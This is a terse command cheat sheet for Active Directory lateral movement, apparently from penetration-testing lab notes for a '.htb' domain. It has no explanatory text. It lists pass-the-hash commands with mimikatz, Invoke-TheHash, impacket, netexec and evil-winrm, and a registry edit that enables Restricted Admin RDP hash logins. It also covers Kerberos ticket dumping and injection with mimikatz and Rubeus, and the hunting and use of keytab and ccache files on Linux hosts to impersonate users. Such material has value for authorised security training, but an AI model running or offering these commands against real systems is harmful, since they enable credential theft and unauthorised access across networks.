mimikatz.exe privilege::debug "sekurlsa::pth /user:username /rc4:NTLM_HASH /domain:domain.htb /run:cmd.exe" exit# SMB Method
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target IP -Domain domain.htb -Username user -Hash HASH -Command "command"
# WMI Method
Invoke-WMIExec -Target hostname -Domain domain.htb -Username user -Hash HASH -Command "command"impacket-psexec administrator@IP -hashes :HASH
impacket-wmiexec
impacket-atexec
impacket-smbexec# Network scan with hash
netexec smb IP/24 -u Administrator -d . -H HASH
# Command execution
netexec smb IP -u Administrator -d . -H HASH -x "command"evil-winrm -i IP -u Administrator -H HASH# Enable Restricted Admin Mode on target:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
# Connect:
xfreerdp /v:IP /u:username /pth:HASH# Extract tickets
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export# Dump tickets in Base64
c:\tools> Rubeus.exe dump /nowrap
# Retrieve and inject TGT
Rubeus.exe asktgt /domain:[DOMAIN] /user:[USER] /rc4:[HASH] /ptt
# Import .kirbi ticket
Rubeus.exe ptt /ticket:[TICKET_FILENAME].kirbi# Using Mimikatz
kerberos::ptt "[TICKET_FILENAME].kirbi"
Enter-PSSession -ComputerName [TARGET]
# Using Rubeus
Rubeus.exe createnetonly /program:"cmd.exe" /show
Rubeus.exe ptt /ticket:[TICKET_FILENAME].kirbi
Enter-PSSession -ComputerName [TARGET]# Check domain integration
realm list
# Find keytab files
find / -name *keytab* -ls 2>/dev/null
ls -la /tmp
# Check authentication services
ps -ef | grep -i "winbind\|sssd"# Inspect keytab file
klist -k -t /opt/specialfiles/carlos.keytab
# Impersonate user
kinit [email protected] -k -t /opt/specialfiles/carlos.keytab
klist
# Access network resources
smbclient //dc01/carlos -k -c ls# Set Kerberos cache
export KRB5CCNAME=/home/user/krb5cc_647401106
# Use Impacket with Kerberos
proxychains impacket-wmiexec dc01 -k
# Convert ticket formats
impacket-ticketConverter krb5cc_ticket julio.kirbi